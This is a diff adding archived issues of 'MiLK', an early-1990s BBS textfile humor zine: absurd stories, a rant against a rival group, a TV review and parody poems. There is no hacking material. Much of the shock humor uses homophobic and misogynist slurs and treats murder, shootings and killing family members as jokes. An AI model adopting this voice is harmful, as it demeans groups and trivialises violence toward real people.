suggested + serving size on the container. Adjust the information for your needs. + +Appendix B - Percentages of US RDA + +Protein....... * Riboflavin.... 10% Vitamin B6..... 10% +Vitamin A..... 10% Niacin........ 10% Folic Acid..... 20% +Vitamin C..... 100% Calcium....... * Iron........... * + +* - Contains less than 2% of the USA RDA of these nutrients + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + +[MiLK] Issue Number - 8 +[MiLK] Issue Size - 10881 Bytes +[MiLK] Date of Production: 01/09/94 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ "You IDIOT! That's the Milk-curdler Button!" ®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-009.txt b/textfiles.com/magazines/MILK/milk-009.txt new file mode 100644 index 00000000..98e9846d --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-009.txt @@ -0,0 +1,63 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 9 Û Û +Û²²²²²²²²²Û illicit "Joe" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Plaid Wilderbeast Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + In a blind state, with mothers love delete, this man could find his way +anywhere. In the light of day however he was as blind as the perverbial bat. +You see... this man was a mover and a shaker. Yes, yes... so he bought and +sold the dead and rotting corpeses of the few remaing leaders of the few +remaining minority groups... but when he hit that dance floor, DAMN, he could +really shake em' down. + I was walking and talking with Joe... the guy that dances and warehouses +people with good leadership skills... and he gave me some advise that i'm sure +i'll never forget. Joe says to me, he says... Hand (that's me), when ya' +gotta drain the lizard... ya' gotta choke your gizzard. Cause dem gizzards +got oooonnnneee mean bite and if you don't feed em' correct like... wol they +get awful ornery. + Now I love Joe just as much as the next guy... hell, I'd take him on a +table... but this advise was a little far ferched for me. I don't think that +i could just whip out the ol' sausage of torture and take a wiz in front of +like a convent or something... It just wouldn't be right. + As Joe and I proceeded down the street I thought long and hard about this +advise hoping that i made a flaw in my thought patterns and that Joe couldn't +have been wrong. But after a whole minute of deliberation i decided to wait +for a passing automobile and push Joe right out in front of it. It was a +pleaseing thought untill i realized that in this town the only people rich +enough to drive a car had chauffers to go along with them, and i don't want to +upset a poor, poor chauffer. After all... the occupation with the highest +percentage of increddibly endowed workers was the personal services specialist +field. I think Sally Struthers talks about it in her stupid, fucking annoying +commercials on shop at home college. JJESSUUSSS... wouldn't you just love to +shoot that bitch? + Any way... I pulled my big gun from my trousers and shot Joe in the head +and pissed into the gaping hole my magnum forty-squirt gun supplided me with. +/? +(ignore that...) + This really pissed off Joe who made a deal with God... He said "God, your +pretty cute, how about Me being that guys gaurdian angel or something like +that?". God (being as naive as he is) said yes. JJJEEEESSSSSUSSSS + So Joe sits on my shoulder and whispers sweet nothings into my ear... +WHAT A FREEK. I punched him and sent him to hell where the devil made him eat +sasperilla until his dick fell off. + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + +[MiLK] Issue Number - 9 +[MiLK] Issue Size - 3661 Bytes +[MiLK] Date of Production: 01/12/94 + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ "Ralphie says: as;lfkjasdl;kjfasl;djka;lkjsfd" ®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-010.txt b/textfiles.com/magazines/MILK/milk-010.txt new file mode 100644 index 00000000..ce6cf5aa --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-010.txt @@ -0,0 +1,50 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue # 10 Û Û +Û²²²²²²²²²Û illicit "Suger High" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + Ok, writing a text file on a sugar high is a really +fun thing to do because you get out your ideas really really +really quickly and you tend to make really long run on +sentances like you're talking very quickly and it's reall a +lot of fun! ok, well, the first thing you need to do is get +sugar. lots and lots of suger. LOTS of suger. after you've +got all that suger. eat it. eat it all in one sitting. then +you wait. this is the boring part. If you don't like +waiting, you can always inject the sugar into your vain or +something, but that'll leave injection marks and your parents +will think you're doing drugs and shit which isn't fun but oh +well it's in the name of text files right? Ok, so you've +waited and you've got your sugar high. Now write! Write as +quickly as possible, don't bother to go back and corect +spelling mistakes or anything, that's no fun now is it ok well +then find a really cool topic to write about like oh i dunno +blowing up the planet or something or maybe an ANARCHY file! +yeah that is it! Anarchy files are just so much fun to write i +wanna be an anarchist when i grow up wheeeee ok well make sure +you don't correct or spell check your file because that makes +it lose the sugar high rush feeling about it and we want to +show that we're fucked up and such while writing the file so +dont do that ok? cool that's how you write a suger high text +file i hoped you liked it i gotta go masterbate seeya + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + +[MiLK] Issue Number - 10 +[MiLK] Issue Size - 2652 Bytes +[MiLK] Date of Production: 01/14/94 + + ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ "you're dum, skum, and full of cum" ®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-011.txt b/textfiles.com/magazines/MILK/milk-011.txt new file mode 100644 index 00000000..fc17aaf3 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-011.txt @@ -0,0 +1,161 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #11 Û Û +Û²²²²²²²²²Û illicit "Propaganda and Shit" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + +A Reply To Propaganda -- Why It Sux My Cock. + +1. The Name - Propaganda Unlimited? Come on. Cant we get a + Little more WaCky than that? This is a Text file + group, for gods' sake. It's almost as bad as some of + the names of BBS's Nex has thought up.... + +2. Volume/Issue System - STUPID! Like you'll ever get through + Volume 1. Get real. Lame lame lame. Especially since + You get files named "PU0101.txt". Which is really lame. + I mean, you can't get much more lame that Stupid amounts + Of Volumes and issues... + "Hey, Nex, you got Volume 42 Issue 20?" + "No, I got Volume 20 Issue 42 though!" + Stupid. Real Stupid. If It Just went by Issue + Numbers, life would be nice and simple and happy, like + it was always supposed to be. + +3. The Opening Coverish-Type Thing - Sux. anyone can do + ================================================= + See? I just did it Now. Pathedic. You know what the + problem is? how the hell do you draw a symbol for + a "Propaganda Unlimited"? it's pretty hard. Another + reason the name is stupid. + +4. The Table Of Contents - Ok, Can't yell too much about that + +5. The Staff - Only Two People Have Written Files! Yet you + The Staff is in Double Digits?!?! Let's Get a little + Real Here. First off, If You Ever Get Avocado to write + A PU File, I'll personally Castrate you all, I have been + trying to get her to write for over a year now damnit... + And KING TRENT? YOU HAVE A CONVICT IN YOUR STAFF!!! + +6. Transition Lines - More of this "====" Bullshit. Come on. + Even DOS Edit can do + better than that shit. + +7. The Intro - You DARED to bash Obloid. But Even that isn't + what annoys me the Most. you fucking DARE to make up + a FAKE BLaH File, of the Number 42!!!!! 42 is THE MOST + Important BLaH File EVER WRITTEN, The Field Guide To + Lampreys!! BLASPHEMERS! If I were Dante, I'd put YOU + in Satan's Mouth Midget Caesar, And Throw Brutus and + Cassius up in Heaven where they belong! (Sorry Bhuufu, + I know you're a little young to be hearing this kind of + stuff, but damnit, your human is becoming quite a wanker + as of late.) And There's More! You Use the Phrase + "Peace, Love and Mangos"! THAT'S Brainwashing! That's + Like the President saying "God Be with you all" or + whatever the line is he says after one of his + speeches... that Line right there IS Propaganda, and + bullshit Propaganda at that. + +8. Letter From The Editor - Connie, You Butt-Flairing Faggot, + Of all people YOU Should Know that you wouldn't Ask + Chessman about "Conformity Is Like Cheese", You'd Ask + The Baron. It was his Only BLaH file. + +9. Let's Meat The Caesars - Oh, Come On. Total MaDCaP Ripoff + there, Especially Sad since Midget Caesar says he hates + MaDCaP stuff. The actual file isn't that amusing, + either. + +10. Fear And Loathing in Cyberspace Part 1 - Ok, this really + bites the big one right here. Let's take a very well + written BLaH file, edit it, and make it "fit the times"? + Simply disgusting. It's almost as if you have a lack of + Ideas going around in that head, Connie. + +11. Moving Between Places Part 1 - Not anything to orgasm over, + but at least it's original + +12. Phreaking with DDTS - Would have been funny if they let + Tracy write it. + +13. Lunchtime in Dystropia Part 1 - Does EVERYTHING have to be + Part of a Series? It's evident the Dominant Writer of + this mag is a Comic collector. Well, This Story is a + Sad example of a Combination of trying to be like + Douglass Adams and Oregano at the same time. + +14. Coming Soon - Everyone knows it's spelled WaCkyNeSS + +15. Distribution - More of this ==== Bullshit + + And... Most Important of All... + +16. WHERE THE FUCK IS SAFE-T-NUTZ?!?!??!?!?!?!?!?! + +All in All, Propaganda Unlimited is a DISASTER. And Until The +Potential Energy is Converted into Kinetic Energy, It will +probably stay this way. If I Had to draw a Chart Of The +Progression of Tfile Groups... + + Za/\/ + / \ + MaDCaP BLaH + \ / \ + MiLK (100 other Tfile groups to speak of) + \ + Propaganda Unlimited + + + And... MiLK is Still Alive. So... We're More Divinely Inspired. + Which Makes Us Better. + When We Type We Capitalize Every Word, Making Us Yet Better. + + AND... MOST IMPORTANT... + + We Actually Use SaFe-T-NuTz. + +The LaME-0-MeTeR v2.51áeta (Please Ask your Tfile Editor to Register This + Version of the LaME-0-MeTeR!) + + Propaganda Unlimited + + + ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ + \-----\-----\-----\-----\-----\-----\-----\-----\-----\-----\ + 0 1 2 3 4 5 6 7 8 9 10 + + +Key - +0 - BLaH +1 - Cult Of The Dead Cow +2 - MaDCaP +3 - MiLK +4 - The Church of Hemp +5 - ObloidiZm +6 - PuD files +7 - Documentation +8 - 3l1t3 wAr3z crack docs +9 - Anarchy Files +10 - Modem Master's Prank Text Files + + +¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯[MiLK] Information®®®®®®®®®®®®®®®®®®®®®®®®®®®®® + +[MiLK] Sights - The Obloid Sphere (708)965-3098 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + +[MiLK] Issue Number - 11 +[MiLK] Issue Size - 6714 Bytes +[MiLK] Date of Production: 1/25/93 + + ¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯ Non-Propaganda Line ®®®®®®®®®®®®®®®®®®®®® diff --git a/textfiles.com/magazines/MILK/milk-012.txt b/textfiles.com/magazines/MILK/milk-012.txt new file mode 100644 index 00000000..14ff8c9a --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-012.txt @@ -0,0 +1,92 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #11 Û Û +Û²²²²²²²²²Û illicit "SuperMarket Sweep" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By Epic Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + I tend to generally avoid television, perferring instead to gain my +pleasure from computer systems, substance abuse, music, and steamy cooter. +But there have been times when I have flipped on the beast to see if there +was "anything good on" (actually I was hoping to catch a glimpse of Fabio, +but he doesn't appear much). One show that caught my eye was the wholly +remarkable, "Supermarket Sweep", which can be viewed on Lifetime television, +or by sticking the co-axial cable directly into your brain. The second method +provides a crisper image, but not the hi-fidelity audio that I'm sure your +television has. Take your pick. + + Anyway, here is the premise of the show : A obviously homosexual +male (the host) asks three teams lots of stupid questions about food. The +three teams consist of two people each, usually husband and wife, or +relatives. I prefer to watch the relatives, because they smile more than the +married couples. "Price Is Right" regulars of the 80's should do very well +with the questions on Supermarket Sweep, because they are quite similar +(I know when I was a young lad I would feign illness just to see Bob Barker +drool over his co-hosts, and to see a round of Plinko, but that's a whole +'nother text file). For each stupid question the contestants answer correctly, +they get 10 extra seconds of esctasy in the "sweep". This really fun thing +will be explained in the following paragraph, which you may read at your +leisure. + + Well, that's the first part of the show. You might as well just skip +that part, because it's no fun. There's no excitement, no blood, not even +partial frontal nudity. The party kicks into overdrive during the second half +of the show, the "sweep". Using the time limits imposed by the contestants' +performance in the first round, they get to run around a big supermarket, and +just throw whatever they find into their cart. The contestants seem to fly +around the supermarket pretty fast in their quest to gain food items; I know +when I go shopping I can't manipulate my three-wheeled cart nearly as fast +as these daredevils. They are only allowed five (5) of each type of food +item, so this makes their duty a bit more difficult. Favorite items to obtain +seem to be diapers, turkeys, and metamucil (gotta stay regular). The +contestants fill their cart full of the desired items, and then rush back to +the check-out counter to get another cart, and do it all over again, until +their time limit expires. + + This seems pretty simple, and it is, but there are "special" things +to add to the excitement, and of course, the fun. (Special things add a lot +to any occasion. Try them next groundhog's day, or at a wedding) Giant +plastic representations of food items are placed strategically around the +store, and add extra value to your shopping load. (This part of the show is +the most fun, seeing a can of root beer 5 feet tall is reason enough to tune +in every day). + + When the time has expired, the contestants return to the check-out +counter, and the total value of the food is figured out during a commerical +break. The team with the highest value wins the game and goes to play a +special bonus thingy, which doesn't look like very much fun. + + That is the entire show. Not too exciting is it? Well, no, not +really, but it's just about the best thing you are ever going to find on TV. +And even if the show does suck, YOU took the time to even read a little essay +on it (this puppy here), so the show can't be much worse. If you can find +anything more constructive to do with your time than watch TV (write a novel, +feed the homeless, or destroy a third world country), please do so. If not, +be sure to tune into Supermarket Sweep. + + Well, I hope you enjoyed this informative look at one of the most +intriguing programs of our time. Next file I'll try not to use as many big +words. It makes it hard for the translators, you see. Unless you are blind. +Then maybe you can "C". As always, eat your vitamins. But stay away from +minerals, they may chip your teeth, requiring extensive dental work, and we +all know, if you had enough money to afford extensive dental work, you'd +probably be getting that root canal you've always wanted instead of reading +this. So, happy trails, and remember, if we don't look good, then we sure +hope you don't either. +è è è è è è è è è è è è è è [MiLK] Information è è è è è è è è è è è è è è è + +[MiLK] Sights - Barney's Pleasure Palace! (708)965-3098 + The Lunatic Phringe (708)232-0565 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + +[MiLK] Issue Number - 12 +[MiLK] Issue Size - 5715 Bytes +[MiLK] Date of Production: 2/20/93 + +è è è è è è The World is Meltin', So is My Jello Puddin' Pop! è è è è è è è è diff --git a/textfiles.com/magazines/MILK/milk-013.txt b/textfiles.com/magazines/MILK/milk-013.txt new file mode 100644 index 00000000..86b5f77a --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-013.txt @@ -0,0 +1,510 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #13 Û Û +Û²²²²²²²²²Û illicit "MiLK Poetry: Volume 1" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections & Mendeleev Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + [MiLK] Poetry, Volume I + + Yes, Right here we have some of the WORST Poetry, all packed +into a Single text file for your viewing DISGUST! Warning: Those +who are weak at heart or Poetry Lovers should NOT read further; MiLK +poetry has been shown to cause emotional disgust and frustration in +laboratory Animals. + + è "Rose Tinted-Glasses" -Mendeleev è + +Everything is horrible, everything is dead +There is no pleasure to my life, +I view the future with utmost dread... + +I used to lie in the warm sunshine, +its rays brightening my room, +But now all I see, all around me, is doom, greatest doom + +Now I sit here, in the ultraviolet rays +letting the warm sun fry me, work its most awful work upon me +Wishing for a magnifying glass to amplify me + +Scorn on love, BAH to it, Scorn on life itself +My love has left me, My love has left me, +and taken my rose-tinted glasses. + +She was so beautiful, she was very elegant, +With a wit and mind to match her looks, +And now I must endure her sight everytime she passes.. + +Lord, what pain and agony there exists for me +Yet if I had the chance to do it over, I'd do it all again. + + è "BathTime Fun" -Jamesy è + +Splash +I feel in the bathtub +Owch, my head +Blood trickling out all over my newly scrubbed tub +Damn you, why did you have to push me +Mother? + + è "Christian Fundimentalist" -Mendeleev è + +I like to KILL +I like to eat flesh and have blood and guts hanging between my teeth! +I love the stalking of the prey +The excitement as I pounce, and +tear apart human skin and bones +I also like sacrificing small furry animals every full moon +What am I? +Muahahahhahahhah! + + è "Why I Belong To The NRA" -Jamesy è + +Beauties are bathing by the beach +birds of great majesty +the shot fired from my rife; +not as pretty a sight, are they? + + è "Man's Best Friend" -Mendeleev è + +The beautiful woman was walking down the street +Her legs the finest I've ever seen, +her body (and I am sure her mind as well) quite sharp; +Then I unleashed my doberman on her + +She doesn't look too hot any more + + è "Coffee Shop Talk" -Mendeleev è + +I suck, boo-hoo +Don'tcha know it +Evil, black, loathing +I can't get over it +Please pity me. + + è "Repent" -Jamesy è + +I ate my pet Cat +Hairball, Can't get rid of it! +no matter how much I cough +I still am sentanced to the itch in my throat + + è "Consumerism" -Jamesy è + +Slurpy +Remember how we loved you? +Now you've been attacked. + +Slush-Puppie +How DARE you embark on his terrain? +Prepare for a Duel to the Death! +You shall not withstand our barrage! + +Once you think you've got us beat +you'll see the Spurpy on SALE! +Your days are numbered, Slush-Puppy +I hope you're praying, and praying hard... +For God cannot even Save you Now. + + è "Calculator" -Mendeleev è + +I punched in a one, and +I tried to divide it by zero, +but my calculator wouldn't give me the answer, +and I got really mad + +I told it if it wouldn't give me the answer, +I would smash it, and I was fair +Don't say I wasn't +I gave it another chance, + +But it still gave me an error message +So I threw it against the wall +I threw it at my mommy and my daddy +Until it was dead + +No one messes with me. + + è "Aggressive Driving" -Jamesy è + +Splat +Little mr fly just felt the rush of a lifetime! + +Ouch +Look how his ass just went through his head! + +Yuck +I'm gonna have to clean that mess up + +Growl +Stupid Fly, he should know better than run into my car + + è "Meditations, Part I" -Jamesy è + +Ever/wonder/what/happens/when/you/masterbate/and/you/leave/yourself/all/messy? +/Well,/the/icky/residue/left/on/your/body/has/been/shown/to/clear/up/Acne!/ +it's/true./A/proven/fact! + + è "Red Pen" -Mendeleev è + +My teacher uses a red pen +She used one to give me an 'F' +I got so mad, I took that fucking red pen +And rammed it through her hand + +The principal yelled at me, and so did my mommy +and so did the Dean +they didn't like it, +So I took my daddy's shotgun and gave them each a third eye + +There, damn bitch, I told you. + + è "Growing Up" -Jamesy è + +Armpit Hair +I hate you... you're so smelly + +I just Want +to shave you off just for fun + +Stop Staring +at me... I just don't like none + +This Pubic +Hair stuff... makes me sick. Icky! + + è "Meditations, Part II" -Mendeleev" è + +It/must/be/true/that/is/what/jh/just/said/because/i've/never/had/a/pimple/on/my +dick/so/oh/well/I/don't/know/it/may/just/be/a/coincidence. + + è "Summer of '93" -Mendeleev è + +The breeze blew in from lake Michigan +And the sun shone upon this land +When I revved up my Dodge +And ran down an evil witch masquerading as a squirrel, +who just happened to be crossing the road + + + è "Ralphie" -Jamesy è + +Ralphie +Be a Good Boy, eat your supper! + +Ralphie +Be a good boy, take out the garbage! + +Ralphie +Be a good boy, help your mother with those dishes! + +Ralphie +Be a good boy, go play in traffic + +Ralphie +Be a good boy, do your homework + +Ralphie +Be a good boy, shoot that Commie + +Ralphie +Be a good boy, stay away from those Foreign people + +Ralphie +Be a good boy, help mommy with that dress + +Ralphie +Be a good boy, mommy wants a spanking + +Ralphie +Be a good boy, scrub mommy where she can't reach + +Ralphie +Be a good boy, Don't tell those Policement the truth + +Ralphie +Be a good boy, this won't hurt a bit... you'll actually like it + +Ralphie +Be a good boy, stab your father. + +Ralphie +Be a good boy, come right home after prison. + + è "Spooge on Me" -Jamesy è + +Spooge on me +I like it that way +Spooge on me +This isn't a song +Spooge on me +Poodie Killing snoopy doggy +Spooge on me +splat smooch sniff cry +Spooge on me +Out the door in the house +Spooge on me +a;lsdfjkas;jkldfasdl;kfj +Spooge on me. + + è "Unsolved Mysteries!" -Mendeleev è + +The following is a real life story, not a dramatization or fictional event +So what, asshole? I am going to stalk your ass, +and you won't fucking care whether your syndicated TV series +does well according to that blowjob Nielsen + +You're gonna' fucking burn in yer own house, bastard. +Now tell me more about the alien sightings. + + è "Artistic License" -Mendeleev è + +I came down to the main channel, and +some guy practicing to be Tipper Gore's censorship advisor +Told me what I thought was poetry, +wasn't really poetry, get a load of that + +Artistic license, motherfucker. + + è "ChildHood Revisited" -Mendeleev è + +I sit here in the night, +haunted by a being +Blackness all around me, + +I sit here in the day, +haunted by a being +Light all around me, + +Nothing can make it go away, +Not my friends or my parents, not even me +I am haunted by that being, the being I call + +Snuffy, the teddy bear. +The root of all evil in the universe exists in my bedroom. + + è "PowerWalkers" -Mendeleev è + +A mild annoyance to me, you see +Is powerwalkers, they clutter the damn street +What, you expect me to steer around them, AND +those damn parked cars? + +I can't do it, its IMPOSSIBLE, thats why +I bought myself a truck, and NOW +I run those darn powerwalkers over +Damn bitch, toldya'! + + + è "Snoop Doggy Dog 3l1t3" -Mendeleev è + +Woof, Woof +I collect WaReZ +Good warez, all warez + +Woof, Woof +I never play my WaReZ +I just collect them, + +Woof, Woof +I distribute my WaReZ +anf get lots of file points + +Woof, Woof +I am a WaReZ maniac, +cantcha tell? I have no life + + è "GaNSTaWiTHaBuRGeR" -Mendeleev è + +I will have 16 burgers to go +cheeseburgers, with bacon, lettuce, and tomato +On a sticky, flat, seseame-seed bun + +I'll pay you $1.99, cuz that's the deal +You give me da' burgers, and +No harm comes to your kids. + +See? I am the modern gangster, +my money is cholesterol, thats how +I strike fear in your hearts and minds. + + è "Orgy" -Mendeleev è + +Wait, is this your arm? Whose leg is this? +I'd kinda like to know who I am having carnal knowledge of +If its that fat ugly chick that jumped onto the bed at the last +minute, man, I'm outta here. + + è "Calculus" -Mendeleev è + +Lots of numbers, and cool squiggly lines, +all over my paper! that used to be a living tree. + + è "Mortal Kombat - 2001" -Mendeleev è + +Stanley the Faggot-Warrior throws some acid onto +Belch the Andromeda-monsters face, and then fatalities him +by turning into a hooker, and suffocating the poor beast +between his breasts. + + è "Cold Toilet" -Mendeleev è + +I walk to the bathroom in the still of the night +prithee! a creaking step, I step over it +And enter the linoleum-tiled washroom, with +its king the Toilet presiding + +I walk over to the toilet, and challenge it, and begin +And after I am done, exhausted +I feel a shiver begin +deep within me, and run through all my being + +Behold, that mysterious effect, piss-shiver. Beware, and +Be afraid, be very afraid. + + è "yA kNoW iM sTrAPPeD" -Mendeleev è + +Shoot the sherrif.. +Cop-killer +Makes no difference to me +I just like throwing rocks from high bridges onto passers-by down below. + + è "The Romantic Urban Child" -Mendeleev è + + lets be sensitive + lets be kind to each other + lets love, and + share our toys, because, + after all, aren't we + all people? + +Thats right, can I borrow your UZI? + + è "PC Cola" -Jamesy è + +President's Choice Cola +How you slide down my throat +when I take a big gulp of you +... But are you Really Bill's Choice? + + è "Rhyme Scheme" -Jamesy è + +I lied. +This isn't a poem. +I lied. +This is a poem. + + è "True Love" -Jamesy è + + + I love you from the botton of my heart + I love you from the top of my head to the tips of my toes + I love you so much I can't describe how much I love you + I love you more than Bill loves Hillary + I love you more than Oxygen loves Fire + I love you so much Love is just flowing out of me + + Can we fuck now, bitch? + + è "XXX Text File Revisited" -Mendeleev è + +I was out driving, +when I saw a hooker by the side of the road, +so of course, +I stopped, and + +Being a courteous, mannerly boy +invited her in, and quite raucously, + +Wouldn't you like to know the rest? + + è "Jerry" -Jamesy è + + oh do I like the little ladies + too bad they can only be loved once + Gee, just their smell lights me on fire + ... Tastes Just like Chicken! + + + è "Newt Hunting is Illegal in November" -Mendeleev è + +'twas early morning when the sun sent its first ray +over the hill, exploring what it may, +in the dusk diminishing, the grasses dim + +We held hands and stared over the horizon, where +the future seemed so hopeful, and a thrill seared +my limbs with a cold shiver, made me feel alive + +The love between us, what a tangible thing it seemed, +its ties strong and ever-bonding +But that was before the + +errant bullet fired by a sight-impaired hunter entered the back of +your skull, pressuring your brains out your ears, and finding its +exit hole right over the eye where I kissed you the night before, +blood flying everywhere.. + +Well, don't matter now, I have a new girlfriend. + + è "Happy Thoughts" -Jamesy è + +Damn Bitch, Told you +Eat me now you whore of whores +Dude, Like What 'Da +Fuck... Damn Bitch, Told You Off Ho!!! + + è "Metallica" -Jamesy è + +Metallica Sux +They can go suck my cock +James Hetfield...Eat me +Lars Ulrich... Suck me RAW + +Kirk Hammett... Learn Guitar +Jason Newsted... Fuck off +Cliff Burton... You're Dead +This Band Can Rot in Hell. + + è "Ruthless" -Jamesy è + +I feel no pain +It's stopped, the rain +I can't think strait anymore +My Mother spread on the floor. + +A Sloppy job, I have done +Should have shot her with a gun +but No, I had to use the knife +Noiselessly I ended her life + +Daddy isn't happy with me +Seeing Mom Lying next to me + +Fuck him + +è + + Thank you for Reading this installment of MiLK Poetry.. +If you'd like to Submit to MiLK Poetry, or ANY text files of your +own, Please U/l them to the [MiLK] HQ, Barney's Pleasure Palace! + + +è è è è è è è è è è è è è è [MiLK] Information è è è è è è è è è è è è è è è + +[MiLK] Sights - Barney's Pleasure Palace! (708)965-3098 + The Lunatic Phringe (708)232-0565 + +[MiLK] Member Listing - James Hetfield + Nyarlathotep + Epic + Plaid Wilderbeast + Mendeleev + +[MiLK] Issue Number - 13 +[MiLK] Issue Size - 14263 Bytes +[MiLK] Date of Production: 2/20/93 + +è è è è è è The World is Meltin', So is My Jello Puddin' Pop! è è è è è è è è diff --git a/textfiles.com/magazines/MILK/milk-014.txt b/textfiles.com/magazines/MILK/milk-014.txt new file mode 100644 index 00000000..1eb1cae4 --- /dev/null +++ b/textfiles.com/magazines/MILK/milk-014.txt @@ -0,0 +1,94 @@ +Û Û [MiLK] Û Û +Û Û Û Û +Û Û Mighty Issue #14 Û Û +Û²²²²²²²²²Û illicit "Wank Bunny" Û²²²²²²²²²Û +Û²²²²²²²²²Û Liquid By James Hetfield Û²²²²²²²²²Û +Û²²²²²²²²²Û Kollections Û²²²²²²²²²Û +Û²²²²²²²²²Û Û²²²²²²²²²Û +ÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛ + + + The Drooling Jaws of the Mammoth Wolf grip upon my neck. I am finished. +There is no escaping now. The end has come, there is no way out. Is there +any way I could have avoided this? Any way I could have changed fate? Any +way I could have been saved? + + Let me explain How I got myself into this mess. I am your typical Poofy +White Bunny Rabbit; I hop around all day, wiggling my little poofy tail all +along the way. And I tend not to cause any problems with people. In fact, +people seem to like me, for the most part. Humans call me cute, and the +little humans try to catch me and shit, but then I bite them and they run +away. I'm sick of those stupid little humans trying to pick me up and crap, +what the hell is in their head? Oh well, anyways, everyone tends to like me, +except those damn Wolves and Foxes. Wolves and foxes don't like me. At all. +Or maybe it is they like me TOO much. You see, they want to eat me. Now I +don't get this eating other animal bullshit, it's all greek to me, but hey, +it's their perogitive. But they want to eat ME, you see, and that kinda erks +me a tad. So I tend to stay away from them. Not because I don't like them, +not at all... I just, well, don't understand them, and they don't understand +me. They always try to eat me! Argh... Ok, to go on, the other Rabbits like +to call me "Wank Bunny"... Don't ask me why, they just think "Wank" is this +really cool word. So I'm Wank Bunny. I'm Wank Bunny, the white bunny rabbit +that everyone (except the fuckin' foxes and wolves) get along with. + + Well, as you might guess, I LOVE carrots. But I also LOVE oranges. +Don't ask me why, it's just a fetish. None of the other bunnies like them, +but I do. I love 'em. They all call me weird and wanker and shit, but I +don't mind. They're real good tasten. The only problem with Oranges is +they're a pain to peel. Oh yeah, and the only way to get them up here in +Chicago (where I live) is to sneak into the big human food places and roll +them out with me. And humans laugh at me when they see me roll away with an +orange, but I don't care. The orange is worth it. Okay, as I was saying, I +love carrots too. And this day was a special day or something because the +doors on the humans food place were locked and no one was going in or out, so +I had to get some carrots from a humans food growing place by where I live. +No big deal, I do it all the time. This day, however, one of those little +humans caught me. And I didn't get away, because I had pigged out on Oranges +the previous day, which slowed me down it seems. So this stupid little female +human was trying to talk to me and shit, she had her face in mine making all +these idiotic faces at me, like I'm gonna find HER cute or something... yuck. +Humans are disgusting bloated sacks of protoplasm, that's what they are. So +she has her face up in mine, so I bite her nose, hoping she'd drop me and +stuff. But she didn't. It just made her mad, and she brought me into her big +human place and threw me into a closed room. That kinda pissed me off, +because it was a small place with furry ground and very little room to roam +around. I hated it, as you can tell. so then big humans came into the room, +grabbed me, and threw me into this CAGE! I was their captive; their prisoner! +I had to get out; I had to escape! so when they brought me back outside in +the cage a few hours later, i bashed my body against the cage and broke the +lock. Then I ran for my dear life. Hopped, moreoever. I'm not a good +runner, not many bunnys are, but I'm a great hopper. So I 